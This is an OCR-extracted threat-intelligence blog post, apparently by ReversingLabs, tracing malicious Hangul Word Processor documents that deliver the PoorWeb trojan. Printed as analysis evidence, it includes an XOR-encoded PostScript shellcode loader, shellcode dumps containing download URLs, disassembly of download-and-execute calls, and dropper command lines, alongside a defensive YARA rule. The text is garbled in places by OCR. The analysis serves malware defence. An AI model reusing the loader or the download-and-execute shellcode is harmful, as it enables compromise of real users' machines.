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Hangul Office is a popular office software suite in South Korea. 1 It shares the same
compound file format as older versions of Microsoft Office, but has unique features that are
abused to form malicious documents. The landscape of this type of attack has been
analyzed closely in the VirusBulletin talk "DOKKAEBI: Documents of Korean and Evil
Binary". 2 This type of malicious document is the first stage of an attack chain often leading
to a PE executable trojan. Here we start with a set of three malicious Hangul Word Processor
(HWP) documents targeting one victim organization, each with a slightly different set of
stages, but ultimately leading to payloads in one malware family: PoorWeb.2 Pivoting
outwards from these three, a large number of related attacks is found. This amount of data
can be confusing especially when the attacks are so similar. However, looking at similarities
and differences in malware behavior and code, delineations can be drawn between
campaigns. Armed with this knowledge, the PoorWeb payloads and the various stages that
deliver them are distinct from previous campaigns operated by the same adversary. Within
this campaign, the earliest sample 4 was first seen on March 19, 2019 and the most recent
sample on September 16, 2020. 2

HWP Summary Information Stream

HWP files use the Microsoft compound file format specification. This means they are made
up of various streams. For the samples analyzed here, two types of streams are very
important to analyze: "HwpSummarylnformation" and "BinData". The purpose of the former is
to store metadata about the document and can include information about the title and author
of the document. Starting with one HWP document®, Figure 1 shows the stream that
contains the string "HighExpert" as extracted by Cerbero Profiler.
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5 Format ® @ 4 Analysis \5HwpSummaryinformation]

£ Header - Text  (Ux Hex
£ Directories — : - - - —
@ Root Entry Offse 0 B 5 % 7 8 9 A B D
2 FileHeader 00000000 FE F'E' 00 00 06 02 02 Q0 60 B6 9F &1 10 1 11| ve i ieeee e =
E2 Doclnfo Q0000010 | B4 C6 00 60 © ai 01 00 00 00 &0 B6& ) R
i BodyText )00020 | 61 10 D4 11 B¢ 60 97 )D 8C 30 00 00 00 | @vvvunn vu.a0.ns
E2 Section0 Q0000030 | CD 01 00 00 OE 00 0 00 00 78 00 C B0 | 5 2 = seveman o ovenniin ¢ ¢
= \BHwpSummaryInformation 00000040 | 03 00 fi,“_J 00 ¢ 00 0 fi.,h:) 00 9 w:_,' (_“) ................
S Q00000050 14 00 00 00 05 00 00 a0 B | = 5w owems 5 sosemens v 8
B BinData 2 00000060 | 06 00 00 00 FX 00 08 00 00 08 01 O0 | ie et i e it e eeenn
Ef BINOOO1.pg 00000070 | 09 00 00 00 00 oC 00 00 8C 01 B | 50 v e o v sammnn = v
Hl BIN0002.eps 00000080 | 0D 00 0C 00 98 00 0B 00 00 A4 01 00 | it et ee e eeeaens
E Prvimage 00000090 | OE 00 0C 00 BO 00 15 00 00 BS 01 B0 | s 5« smwons & cewses =
2 PrvText 000000A0 | 00 00 0C 00 ¢ )0 00 8: 00 00 07 QO 00 | i e e e
I DocOptions 000000RO | 32 30 00 31 00 36 00 4 B1 C4 B3 00 00 00 1.6.1
£ _LinkDoc 000000C0 | 1F 00 00 00 01 00 00 00 QO 00 00 1F 00 oo
i Scripts 000000D0 | 05 00 0C 00 55 00 53 00 45 52 00 00 00 00 U.S.E.R
2 JScriptVersion O00000ED | 1F 00 00 00 1C 00 00 00 32 30 00 31 00 36 00 | covivens 2.0.1.¢
2 DefaultJScript 000000F0 | 44 B1 20 00 31 00 31 00 D4 C6 20 00 37 Q0 7C C7 ] .
00000100 | 20 00 D4 C6 94 Ce6 7C C7 20 00 24 C6 C4 D6 00 | s s a9 ¢ sDwwias
00000110 | 37 00 3A 00 32 00 39 00 3 32 00 38 00 00 ) 2.8
00000120 | 1F 00 0C 00 01 00 00 00 00 00 00 1F 00 00 | sy pamems s namis s
00000130 (o1 00 00 00 0O 0O 0O 0O 1 00 00 OB 00 00
00000140 (48 00 69 00 67 00 &8 Q0 , 78 00 70 00 &5 0Of| H. 1L E
00000150 12 Q 74 00 00 00 O 00 1 00 Q0 2D 00 0 00 B Tvmann « s e w w
00000160 | 38 00 2. 00 20 00 35 00 i 0 00 28 00 Z2C 00 , T =g
00000170 | 20 00 31 00 34 00 38 00 35 00 20 00 57 00 49 00 1.4.8.8

Figure 1: "HighExpert" String in HwpSummarylnfomation Stream

According to an ESTsecurity blog, this string appears in a variety of samples in a campaign
dubbed "Operation High Expert".8 As shown below, this string appears in more than one
location in a variety of samples related to this one.

The Hwp Summary Information (HSI) stream is derived from the specifications for the
Document Summary Information stream seen in other types of compound files.2 Therefore,
rather than writing YARA rules that detect text strings, one needs to use hexadecimal strings
that include the structure of the HSI property in addition to the string. The rule starts with the
text string "HighExpert" in wide ASCII:

H i g h E b 4 P e r t

48 00| 69 00|67 00|68 00 45 00|78 00|70 00| 65 00|72 00|74 00

Prepended to these bytes are two components of the HSI property: 1F 00 00 00 and 0B 00
00 00. The former signifies the start of the property record. The latter is the character length
of the property data plus one trailing null byte terminator. In the example here, the string
"HighExpert" has 10 characters and 0x0B is 11 in decimal. The resulting YARA rule is shown
in Figure 2. The rule is provided at the end of the blog.

rule HighExpert_HWP_HSIProp
{

meta:
author = "Malware Utkonos"
date = "2020-08-24"
description = "HWP summary information property entry in malicious Hangul Word Processor document: Operation High Expert."

reference = "https://blog.alyac.co.kr/2226"
strings:

$a = { 1F 00 00 00 OB 00 00 00 48 00 69 @@ 67 @0 68 @@ 45 0@ 78 0@ 70 @@ 65 @0 72 0@ 74 Q0 }
condition:

CompoundFile and $a
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Figure 2: HighExpert HWP YARA Rule

Using this rule, 11 other HWP files are identified. These files are shown in the Titanium
Platform in Figure 3. File hashes for these samples are provided at the end of the blog.

Local [ Shareable (11)

First Seen

& @ lyearago

& @ llmonthsago

& @ lyearago

& @ Illmonthsago

& 2 weeks ago

& @ 7monthsago

& @ 7monthsago

& @ ?2yearsago

& @ lyearago

& @ lyearago

& @ 7monthsago

1

Threat

Win32.Trojan.PoorWeb

Win32.Trojan.Poorweb

Win32.Trojan.PoorWeb

Win32.Trojan.PoorwWeb

Document-Office.Exploit.C...

Win32.Trojan.PoorwWeb

Win32.Trojan.PoorWeb

Document-Office. Trojan S..

Win32.Trojan.PoorWeb

Win32.Trojan.PoorWeb

Win32.Trojan.PoorWeb

11 results

3 Export
Name
92000f13fe230964e2274febfb232381d8bafcc7
df7f92a71bb23a85614a1c21277el5dcead 56520
6ee054ac06db0550b68f79¢784c235a25701532e

5d444acaa411c083f83c44dd05fa2bd8eebB0ac4

ecfd93bBacecaBOb6aB5247fc15d4a4eS52f66119
23f5abB89c99bd4f4f3615d81c93a92305a38889f
dbeSee01810e89e499d75d82df2457948dcc20d5
8f3f6e30c7d9993402b973b2a9518d0f3761dcel
aeBaeelcBcOefbOed539f6abl08602feS41dbfe?

317f418e9cb3f0e7b25f3elccfdeSdadObel6S0a

Figure 3: HighExpert HWP Samples

Format

Binary/Archive/Co...

Binary/Archive/Co...

Binary/Archive/Co...

Binary/Archive/Co...

Binary/Archive/Co...

Binary/Archive/Mi...

Binary/Archive/Co...

Binary/Archive/Co...

Binary/Archive/Co...

Binary/Archive/Mi..

Binary/Archive/Mi...

Files

1

Size

139KB

364.5KB

364.5KB

129.0KB

97.5KB

127.5KB

129.0KB

39.5KB

1275KB

129KB

364.5KB

100 A

However, these are not a complete picture of all the malicious HWP files that are used to

deliver the same payload as the one we started with. To find more, a wider net must be cast.

To find those additional files, we start with all the HWP documents in the Titanium Platform
file lake that are detected as malicious and search among them for files with the same
structure as the ones we just identified. From the list of files above, there are two general
types of file. The first type is similar to the sample we started with which has a malicious
encapsulated PostScript BinData stream. The second type contains an embedded

compound file in a BinData stream that in turn contains the PE executable dropper.

PostScript Shellcode Loader

The first general type of malicious HWP document is one that contains an encapsulated
PostScript BinData stream. The stream is zlib compressed, so the first step is to extract it.
This step is shown in Figure 4.

5/24


https://blog.reversinglabs.com/hubfs/Blog/poor-web/poor_web_figure_3.jpg

@ ', Analysis [BIN0O002.eps] (< IV 4 Filter...

@ unpack Property  Value
# bzip2 Params
# lzma raw
& zlib ang

i@ encrypt offset -1
*_ans size -1

trim no
Add Remove

# unpack/zlib (raw:true)

Preview
Of fset 0 1 2 3 4 5 6 Ascii Offset 0 1 2 3 4 5 6 Ascii

00000000 | CD 77 D9 AE 2D C9 75 DC o o L 0000000C 2F 59 31 30 31 20 3C 45 Y101.<E
0101010101010} 3; AF DC 3F 50 OE 95 4 01 B vl 0101010101010} 38 45 37 34 32 3¢ s} 8E742638
00000010 | 82 80 PR FE 41 8F B6 ey T 0000001C 42 46 33 30 42 35 3 IS BF30B568
00000018 | 44 49 OF 86 44 D8 94 41 | DI..D..A 0000001¢ 1 4 || 7CCFDC34
0000C CO FO BF 3B 22 32 6B DA ...;"2k.]|| || 0000002C 5 3 37 33 39 4! DF173%EE
00000028 | E7 DC CB 6E 79 22 44 91 s s YD v g S0 BE74163E
000000 3( oD 27 77 E5 BO 56 AC 18 o "W e Ve s 000000 3¢ 33 46 34 30 38 37 31 42 || 3F40871B
00000038 FE E6 EF AD Bl 3F FE F6 | wesss Puu 00000038 | 33 46 38 44 41 39 41 30 || 3F8DASAOD
( C8 47 DA 5C F4 B9 OE 6F | .G.\...cC 0000004C 39 46 30 27 30 44 38 45 || 9F070DEE

6A 88 39 BS 36 7TA F3 5B | j.9.6z.] 0000004¢ 31 38 31 32 41 37 30 39 || 79lLZAV09

1F 36 F9 FD DO BA 8D FE | .6...... 00000050 | 41 45 44 35 38 37 46 41 ||AEDS8TFA

AT~ e e 2G NG A 17 TR < reass NNNNNNEQR 5 AR 10 20 29 13 2 2 NIRRT

Figure 4: Extract Encapsulated PostScript Stream

Instructions for analysis of these types of HWP files can be found herel® and herel!. Once
the encapsulated PostScript (EPS) has been extracted, one can see that there is a large
chunk of data encoded as hexadecimal ASCII as well as an XOR key. A truncated image of
this EPS is shown in Figure 5.

BINO0O2.eps

/Y101 <E8E742638BF30B5687CCFDC34DF1739EES8E74163E3F40871B3F8DA9A@IFO70DBE7912A709AEDS8
7FAEF892C34DF1739EEBE747638BE54962B3EBC2C34DF1739EEBE746638AE54C75A7AA94BA1FB42488E48
F43739AA14D76E1ASE2D409CD239EA6CCA122C3E54C75A7AA94BA11B42488E4865327DFA3083F98B39BD2
1FB72486818E5327DFA3083F98BB8BC318A2368DF6FB5322C8B74969E1EEDE8509BB4C8FF69E427599F 71
925E1EBC99148ED35DAA2D8536CE3F41A30FABC98D209F567CCA6C75327DFA3083F98BB88C352B44C8FF7

9E122FD5A44C30FOBCI8D219B46E9E9E8F4263DBA94771A5AAC6C35BF165DBA6CA53728CE61920F 1AACOC
E7DF17279A9C1129E1D38AD409CD2C87E78F456088860871A5EE9BBA10A635E7F689531A8BF51830F0BCY
8A119B474DAA39E2A7A8DE57121F6AAE2D219A4358FF19D4A7B9AA44C74E1D382D709CD2489E7E741638B
E54F75B5AAD88F46E770D8AED21649> def @ 1 Y101 length 1 sub {/Y18 exch def Y101 33 pop
dup Y18 get <C7BE7343BAC52810C18ABBE3299415BE> Y18 15 and get xor Y18 exch put} for
Y101l cvx 9348 pop exec

Figure 5: Encapsulated PostScript with XOR Encoded Data

Next, one needs to decode the XOR encoded data. This can be done using Ghostscript as
shown in the blog above by replacing the "exec" instruction with a "print" instruction. The
resulting output is a shellcode loader as can be seen in Figure 6 with calls to VirtualProtect
and ExitProcess highlighted. This image is also truncated.
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bash-5.0# gs BIN@P®2.eps
GPL Ghostscript 9.52 (2020-@3-19)
Copyright (C) 2020 Artifex Software, Inc. All rights reserved.
This software is supplied under the GNU AGPLv3 and comes with NO WARRANTY:
see the file COPYING for details.
/Y1 16#FFFF def /Y2 Y1 array def /Y3 (poor) def /Y4 1 array def /Y5 @ def /Y6 16#10@ def /Y7 Y6 arra
y def /Y8 16#8 def /Y9 16#18F@ def /Y10 16#31E array def /Y11l 16#215 array def /Y12 16#1 array def /
/Y72 { /Y38 exch det /Y/3 exch det /Y/4 exch det /Y75 Y/4 length def /Y/6 Y/3 length def Y/5 Y38 1t
{/Y38 Y75 def} if Y76 Y38 1t {/Y38 Y76 def} if /Y39 @ def @ 1 Y38 1 sub { /Y69 exch def /Y39 Y74 Yé
9 get Y73 Y69 get sub def Y39 @ ne {exit} if } for Y39 } bind def /Y77 <83E4FCE80000000PO5E83C6228B06
3DCCCCCCCC74158A0634D5880646EBEE900000000000000000000000293D7BD5D5D5B55E39E6@7B15EB7ESS5EB87D95E87C15E
A7FD875E87C55E97E95E91D7AD50815A19DD617855E9DCDSEBDFS5D6AF36EF9CSEELSED627E62AE615795115A1D2141AD8D62D
391E92488BEBESCDFBFFFFB927A9E867488BDBESCOFBFFFFB98D5201BD488BFOESB3FBFFFF33D28D4F024C8BF8FFD3488BD8
4883F8FF750433COEB3F488D542420C744242030010000488BCBFFD685C07422488D54244C498BCEEBBYFCFFFF85C0740D48
8D542420488BCB41FFD7EBDE8B7C2428488BCBFFD58BC74C8D9C2450010000498B5B20498B6B28498B7330498BE3415F415E
5FC34883EC28EB9FEDFFFF33C04883C428C3> def /Y78 { /Y79 exch def /Y80 exch def /Y81 Y79 length def { Y
80 Y81 Y30 Y79 Y81 Y72 @ eq { exit } if /Y80 Y80 1 add def } loop Y8@ } bind def Y13 Y10 aload /Y82
true def /Y83 @ def { .egproc /Y69 @ def Y6 { /Y82 true def /Y3 Y7 Y69 get def /Y85 Y3 length 16#260
/Y20 YZ Y69 get deT YZo Y21 1e#/E put Y20 YZ1 1 add 16#12 put Y20 Y21 2 add 16#00 put Y20 Y21 3 add
16#80 put Y20 Y21 4 add Y22 16#FF and put Y20 Y21 5 add Y22 -8 bitshift 16#FF and put Y20 Y21 6 add
Y22 -16 bitshift 16#FF and put Y20 Y21 7 add Y22 -24 bitshift 16#FF and put } for Y2 1 {1t} put /Y8
8 Y87 12 add Y16 4 add Y16 4 add Y16 4 add Y16 def /Y89 Y88 Y44 def /Y9@ Y89 (KERNEL32.DLL) Y55 def
/Y91 Y90 (VirtualProtect) Y61 def /Y92 Y90 (ExitProcess) Yé1 def /Y93 Y89 <94C3> Y78 def /Y94 Y93 1
add def /Y95 Y89 <C20C00> Y78 def Y2 1 Y77 put /Y96 Y87 12 add Y16 def Y2 1 16#1600 string put /Y97 Y
87 12 add Y16 def /Y98 Y97 def Y98 Y98 4 add Y17 Y98 4 add @ Y17 /Y99 Y97 16#30 add def Y2 1 current
file put /Y100 Y87 12 add Y16 def Y97 Y98 Y17 Y97 4 add Y99 Y17 Y99 Y95 Y17 Y99 4 add Y94 Y17 Y99 16
#0C add Y93 Y17 Y99 16#14 add Y91 Y17 Y99 16#18 add Y96 Y17 Y99 16#1C add Y96 Y17 Y99 16#20 add Y77
length Y17 Y99 16#24 add 16#40 Y17 Y99 16#28 add Y99 Y17 Y99 16#2C add Y92 Y17 Y100 16#B0@ add Y97 Y1
7/ Yﬁaa 16#98 add Y94 Y17 Y2 1 get closefile
GS>|

Figure 6: PostScript Shellcode Loader

An alternative method for extracting the shellcode loader is to use CyberChef!2 to convert
the data from hexadecimal representation and then apply the XOR key. This is shown in
Figure 7.

Recipe S Input

S E8E742638BF30B5687CCFDC34DF1739¢
FOm Hex D239EA6CCO122C3E54C75A7AA94BAL 1l
S D209F567CCA6C75327DFA3083F98BBS!

Auto 4EBCFC319B4249E9E8853729AB65D7 2t
0849F0BF9B935CEA35C3E7D81C319AB¢
3DEAQ4E30EED389D309CD279EQESF4At

XOR

Output
Key

C7BE7343BAC52810C18ABBE3299415BE HEX /Y1 16#FFFF def /Y2 Y1 array der

16#1 array def /Y13 { Y10 aload
exch Y15 put } for } bind def /M
bitshift or Y20 Y21 3 add get 2¢

VAl VA1 1 ~dd va9 ©C hat+rhaFf+ 18

Scheme

Standard [] Null preserving

Figure 7: CyberChef XOR Decoding
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In addition to this sample, the otherl3 twol4 HWP files analyzed use variants of this same
shellcode loader. The latter, in fact, contains the exact same loader and shellcode as the file
analyzed. This loader appears to be a template reused in other malicious HWP files that do
not deliver the same eventual PE payload as these three. Figure 8 shows the change in
variable names from one of these different samples to the variable names used in the
sample analyzed above. The string "label" in one sample is "Y" in the other sample.

/labell 16#FFFF def /label2 labell array def /label3 (poor) def /label4 1 array def /label5 @ def /l:

/Y1 16#FFFF def /Y2 Y1 array def /Y3 (poor) def /Y4 1 array def /Y5 b def /Y6 16#100 def /Y7 Y6 arra

Figure 8: PostScript Shellcode Loader Template

An ESTsecurity analysis of the sample!2 with the string "label" can be read here.18 The other
sample 1Z that uses this same template also uses the same variable name "Y", but it does
not deliver the same payload as the samples analyzed here.

Shellcodes

Across these three samples, there are two different shellcodes loaded by the PostScript
analyzed above. One of the two shellcodes is very simple with the download URL visible1&.
This shellcode is seen in the hex editor Hex Fiend12 in Figure 9. An analysis of this file can
be found on ESTsecurity's blog22.

[ X B shellcode.dat
000 FCESAEQD 0000608B EC33D264 8B52308B 520C8B52 148B7228 528B521@0 8B423C8B| ... *..3.d.R@.R .R .r(R.R .B<.
020 44027885 (0744803 C2508B48 188B5820 @3DAE33A 498B348B @3F233FF 33COAC84 D x..tH .P.H .X ..:I.4. .3.3...
040 C07407C1 CFODO3F8 EBF43B7D 2475E358 8B582403 DAG68BOC 4B8B581C @3DA8BO4 .t .. ...;3%u.X.X$ .f. K.X
060 8B03C289 4424205A 61595A51 FFE@S85A 8B12EBALl 6A406800 10000068 00040000 . ..D$ ZaYZQ..XZ. ..j@h (]
080 6A00D6854 CAAF91FF D5C333C@ 50505153 5068361A 2F7@FFDS C36AQ08B 4241451 j hT...... 3.PPQSPh6 /p...j .L$ Q
0AQ 6898FE8S8A QEFFD5C3 6AQO6AFF 6883B9BS5 78FFD5C3 SD686F6E 00006875 726C6D54 1 A ] o i M

0CO 688E4EQE ECFFDS5E8 A8FFFFFF 50506804 01000068 33CA8ASB FFD5508B 74240403 : ha. . [..P.t$
DE® FOC70673 766863C7 46042E65 7865C746 08000000 OOEB1B8B 4C24088B 1C2451E8 .. svhc.F .exe.F ool o 630l
100 86FFFFFF E89@FFFF FFE89AFF FFFF83C4 QEC3E8E@® FFFFFF68 7474703A 2F2F7562 http://ub
120 2D666172 6D2E636F 6D2F6164 6D696E2F 746D702F 62616EGE 65722E67 69660000 | -farm.com/admin/tmp/banner.gif
140 C363616C 632E6578 6500 .calc.exe

Signedint <[ le, dec

Figure 9: Smaller Shellcode with Visible Download URL

The other shellcode is much larger and more complex. It begins with a tiny decoder stub
which decodes the rest of the shellcode in place. It additionally contains two URLs that
appear to be download URLs, but are in fact decoys that dress the shellcode up to look like
others attributed to a different adversary. Details of this subterfuge found in a similar sample
can be read in another ESTsecurity blog hereZ!. These decoy URLs can be seen in Figure
10.
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i W length: 19064 —
Recipe Bl a8 Input Sl + Oz 0§ =

= n 83E4FCE8000000005E83C6228B@63DCCCCCCCC74158A0634D5880646EBEE90000000000000
(O EE 0000000000293D7BD5D5D5B55E39E607B15E87E55E87D95E87C15EA7FD875E87C55E97E95E
91D7AD5015A19DD617855E9DCD5ESDF5D6@F36EFOCSEELISED627E62AE615795115A1D2141A

Delimit:
AZ§;EF D8D62D3E21EEA8F1A0368D5EBDF1D60FB35SEDI9ESEBDCIDEOFSED 15ED6175C91F1F58FBABC
BF842A358D8FSECT3E74BFSBODSCSDSDSBODDIDSDSBFDSBDB11F 7A442A0016E615858584
tart: [/} ti 15
Output ““end: 1717 length: 95%‘3 a8 |_|:| M L

length: 1717 lines: 23
IW3yecuyy+*.Y...c0evuyy* ‘eeg.oeJuyy*.K. 5. 0e>Uyyw]..EUYyU. 0. pPYU. 3AEL. . EPYYL.E
byy (...PVy0.At+.]10.Mg..ipyye:yyy.At...EpyyPVy0.Audé. .5DpyyVyUs. C_~ [EAEhSYY

3AAYI»2 ...pacuuans https://darvishkhan.net/wp—
content/uploads/2017/06/update3.dat...vueunsnns vaeereSiCaFelaPateSuvins sus
R R T F P TR ER PR yyyyyyyy
....................... PcWA%+0. PCWA%+0. . e v v v anae s JoSacoriapataVeearas.i
eOuMussnsnsnnnsnsnsanssnnsnns https://darvishkhan.net/wp-
content/uploads/2017/06/update6.dat..h...

....... [+ T - TR I O T e O e e S
B A T Bt s & _.L.i.n.k.D.0

Figure 10: Decoy Download URLs

So that this shellcode is easier to analyze, it needs to be converted to a full PE executable.
One method for making this conversion is detailed here22. The output of this conversion is
seen in Figure 11.

c:“Shellcode>*shell2exe.bat 32 shellcode.dat
Uolume in drive C has no label.

Directory of c:“Shellcode

18-25-20280 @3:53 PHM 18,248 zhellcode .exe
1 Fileds> 18,248 hytes
A Dirdcs> 14,.572.273.664 bhytes free

Figure 11: Conversion of Shellcode to PE Executable

The new executable's process of extracting the rest of the malicious code can best be seen
in Figure 12.
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ﬁshellcode.exe - PID: 8172 - Module: shellcode.exe - Thread: Main Thread 4516 - x32dbg [Elevated]

File View Debug Tracing Plugins Favourites Options Help Oct 19 2020 (GleeBug)
ZOE S ey taBooe sy A HE
& cru |4 log [ 1l Notes ® Breakpoints ™8 Memory Map [ CallStack &P SEH o Script %] Symbols <>
EEWEIWE— » [00401000 83E4 FC and esp,FFFFFFFC EntryPoint
e | 00401003 EE 00000000 call shellcode.401008 call SO
e | 00401008 SE pop esi
e | 00401009 83ce 22 add esi,22
e | 0040100cC 8806 mov eax ,dword ptr ds:[esi]
e | 0040100 3D €coogcee cmp eax,CCCCCCCC
s | 00401013 ~| 74 15 je shellcode.40102A
e | 00401015 8A06 mov aq ,byte ptr ds:[esi]
e || 00401017 34 D5 xor al,D5
e || 00401019 8806 mov byte ptr ds:[esi],al Extract and Decode LOOp
e || 00401018 46 inc e;.l'i_l_! .
: -@g@m ~LEB EE jmpshellcode.40100C
i o0 101E 20 nop
| e || 0040101F 0000 add byte ptr ds:[eax],al
! e || 00401021 0000 add byte ptr ds:[eax],al
; e || 00401023 0000 add byte ptr ds:[eax],al
: e || 00401025 0000 add byte ptr ds:[eax],al
i e || 00401027 0000 add byte ptr ds:[eax],al
b >e || 00401029 00FC add ah,bh
El—# | 00401028 E8 AE00DSDS call D61510DE
e || 00401030 B5 5E mov ch,5E S5E:'A’
e || 00401032 39E6 cmp esi,esp
e | 00401034 07 pop es
e || 00401035 Bl SE mov cl,5E S5E:"A"
e || 00401037 87ES xchg ebp,esp
e || 00401039 SE poE esi
e | 00401034 87D9 xchg ecx,ebx ecx:"faue"
e || 0040103C SE poE esi
e || 0040103D 87cC1 xchg ecx,eax ecx:"faue"
e || 0040103F SE pop esi
e | 00401040 A7 cmpsd
e || 00401041 FD std
e | 00401042 875E 87 xchg dword ptr ds:[esi-79],ebx
e | 00401045 CSS5E 97 1ds ebx,fword ptr ds:[esi-69]
e || 00401048 ~ E9 5E91D7AD jmp AE17A1AB
e || 0040104D 50 push eax
e | 0040104E 15 Al9DD617 adc eax,17D69DAl
e | 00401053 855E 9D test dword ptr ds:[esi-63],ebx
e | 00401056 cD 5E int St
e | 00401058 8D
e || 00401059 F5 cme
NNANTNE A caler

Figure 12: Video of Stub Extracting Malicious Code

The next stage is downloaded from a URL hosted on hpc[.]kau[.]Jac[.]kr.22 This action is
shown in Figure 13. The download is performed by URLDownload ToFileA24,

e || 00401092 61 popad

| 00401093 59 pop ecx

e || 00401094 SA pop edx

e || 00401095 51 push ecx
ER——e v FFEO jmpeax

e (00401098 58 pop eax

’ e (00401099 5A pop edx

e | 0040109A 8812 mov

e[ 0040109cC ~ EB Al jmp shellcode.40103F

e || 0040109E 6A 40 push 40

e || 00401040 68 00100000 push 1000

e | 00401045 68 00040000 push 400

e |( 004010AA 6A 00 push 0

® | 004010AC 68 54CAAF91 push 91AFCA54

o [004010B1 FFD5 calll ebp

e 00401083 c3 ret

| 00401084 33c¢0 XOor eax,eax

e || 00401086 50 push eax

e 00401087 50 push eax

e || 00401088 51 push ecx

e[ 00401089 53 push ebx

e | 004010BA 50 push eax

e | 00401088 68 361A2F70 push 702F1A36

e 004010c0 FFDS calll ebp
EE3——e | Nn4N10~2 2 rat

<

edx,dword ptr ds:[edx]

ebx :I’http: //hpc.kau.ac.kr/rol1ling_banner/tmp4c5ae3

.p3a'l

r
eax=kurimon.URLDownloadToFileA> |

Figure 13: Download Next Stage

Once the download is complete, the shellcode executes the file using the WinExec API. This
is MITRE ATT&CK technique "Native API" (T1106)22. This API is executed via a jump rather
than a call instruction. This can be seen in Figure 14.
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00401092
00401093
00401094
00401095

00401098
00401099
0040109A
0040109C
0040109E
004010A0
004010A5
004010AA
004010AC

NnNNANTNRR
<

61

59

5A

il

FFEO

58

5A

8812

EB Al

6A 40

68 00100000
68 00040000
6A 00

68 54CAAF91
FFD5

ok

popad

pop ecx
pop edx
push ecx
jmp| eax
pop eax
pop edx

mov edx,dword ptr ds:[edx]
jmp shellcode.40103F

push 40
push 100
push 400
push 0

push 91A
call ebp

rat

0

FCA54

eax=kkernel132.WinExec>|

Figure 14: Execution via WinExec

In a lab environment, this shellcode is observed executing the default binary downloaded

from InetsimZ8. This can be seen in Figure 15.

W |
O019FF:
Ux | ‘ o
g wl|INetSim X |FF
. FFi
g.w &
5w FF!
E.E This is the INet5im default GUI binary FF!
. EF!
== 18 FF,
Yy. |
B C}E: |

Figure 15: Shellcode Execution of Dummy Binary in Lab Environment

Droppers
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Returning to the set of HighExpert HWP documents, there is a second pattern in addition to
the encapsulated PostScript stream with the shellcode loader seen above. This second
pattern is a pure dropper. The first stage PE executable is nested inside a second compound
file which is located in another BinData stream. Figure 16 shows this malicious stream with
the compound file magic number OxDOCF11EOA1B11AE1 highlighted. The file shown here
has the same PEZ embedded as was downloaded from the URLZ shown above.

=2 Format 00 @, Analysis [BINO001OLE]  [EN Filter... ’

2 Header | unpack
2 Directories 7 bzip2
|l Root Entry V4 lzma
2 FileHeader / zlib
£ Docinfo
| BodyText
2 Section0 Add Remove
£ \SHwpSummarylnformation
2 Prvimage
B2 PrvText
|& DocOptions
2 _LinkDoc Of faat ) 1 34 6 7 Dacii Offse o 1 > 3 A 5 &5 7 Ascid
s Scripts t.D.. 10000000 [[00 BE 01 00 DONCENTINED| . ... [N
B JscriptVersion e wieie 00000005 || EENSENEANED 00 00 00 oo HEEM....
E2 DefaultJScript ..UR. (k. 0000010 | oTT
@ BinData
==/ BINOOO1.0LE

/ unpack/zlib (raw:true)

Preview

[519]

5. 1. | 1| 00000020 | re DEEMBESS Fii?i;::'_‘:::

\—' 02 00 00 00 01 ."-I" Q0 OO | « wesen e

Figure 16: BinData Stream with Compound File

Going one more layer deep, this compound file is not very complex, but it does contain a
path that includes a user directory name in DOS short name format. The full directory name
is almost certainly "HighExpert". These bytes are followed immediately by the malicious PE.
Both of these are highlighted in Figure 17. A full list of files from the large group of malicious
HWP documents that match either of the two patterns of structure, shellcode/downloader
and dropper, is provided at the end of the blog.

“ Hierarchy ® ©  Analysis [\10le10Native] o0
Name Eytea  [OxHex
| BINOOO1.OLE .
|@ Executables ffse 4 8 L R D E F Asci
B hwp.exe :

|@ Documents
=) Configuration file 1 [lang:1033]

£ Format 00

2 Header
== Directories
@ Root Entry

2 \1CompObj

= \10le10Native ;

Figure 17: Path with Username and Embedded PE

All of the droppers have a similar execution pattern. One example of this pattern from the
embedded PE22 shown above can be seen in Figure 18.
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cmd.exe
I cmd /c copy>"c:\users\public\sogoupin.exe"

Dropper sogoupin.exe

cmd.exe
taskkill.exe
S e taskkill /im "%AppData%\Local\Temp\73d65.exe" /f
cmd.exe /c "dir /s Y%windir%\system32*.sys&&taskkill /im
"%AppData%\Local\Temp\73d65.exe" /f & dir fa /s
%windir%\system32*.msc && del
"% AppData%\Local\Temp\73d65.exe""

Figure 18: Execution Graph

Cast a Wide Net

With the malicious HWP files enumerated, the next step is to find more droppers,
downloaders, and payloads that are potentially related to the ones found during HWP
analysis. One avenue of inquiry is to find files that call out to the same infrastructure as the
known samples. Another is to look at files that share one or more AV detection names. The
results of one of these infrastructure searches in the Titanium Platform is shown in Figure 19
and an example of the results from a search for threat name is shown in Figure 20.

H%IgSWG A1000 Dashboard ~ Submissions  Search  Alerts Yara Tags Feeds Helpv X

domain:youngs.dgweb.kr al Yy Help B
Local (1) |Ealli R ! Pr 2 Export
Eirst Seen Threat v Name Format Eiles Size

| & ® 2yearsago Win32.Trojan.Poorweb 6becfeOeaf5607547e3601b0S0ac0748e66F1375 PE/Exe 1 425KB =

| & ® Zyearsago Win32.Trojan.PoorWeb 013bad39d503e161146¢cfe687cc0ae9d753de51e PE/Exe 1 108 KB =

& @ Zyearsago Win32.Trojan.PoorwWeb 6111b6325e70417f052f199f112dab51537b86a3 PE/Exe 1 40KB =

& @ ?2yearsago win32.Trojan.Poorweb 89d816351df799745323588e636eb50668ddB930 PE/Exe 1 99.5KB =

| ® ® 2yearsago Win32.Trojan.PoorWeb 0e4fab72036df11770fadeB9e7d2ed5dfabB5a2c PE/Exe 1 41KB =

& @ ?yearsago Win32.Trojan.PoorWeb b9682dbb51758f738fd849fd5b7d8fb02562b7d4 PE/Exe 1 40KB =

& @ 2yearsago Win32.Trojan.Poorweb 43630a9bc54ff36elde8ace53c233063c78deal? PE/Exe 1 39KB =

[] & 2 months ago Win32.Trojan.Generic 1 3 € 1 PE/Exe 1 49MB =

& O 1yearago Win32.Adware.ConvertAd  1d6020221e62d919576b2e28e0ae38258e6004de PE/Exe 1 198.5KB =

Figure 19: Domain Search
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HE\’ERSING |A1OOO Dashboard  Submissions ~ Search  Alerts Yara Tags Feeds Help i~

threatname:poorweb m‘l—_lI % Help n
Local (66) Cloud - i@ Export
First Seen v Threat Name Format Files Size
& ® 2Zweeksago Win32.Trojan.PoorWeb 14f3944592b567113a705d0a9307c8670c0f9b6d Binary/Archive/GZIP 1 35.7KB =
& @ Zweeksago Win32.Trojan.PoorWeb dOaaffdea3e3a3956f8fdeb5aB36d35cha74d1db PE/Exe 1 1095KB =
& @ ?2monthsago Win32.Trojan.Poorweb 74f7h38cfalal4d41662669674716ff00e37462d PE/Exe 1 111.5KB =
& @ Zmonthsago Win32.Trojan.Poorweb 73e62e59617ff2f482f2b2f2793f5fc1695f5925 Binary/Archive/Co... 1 786.5KB =
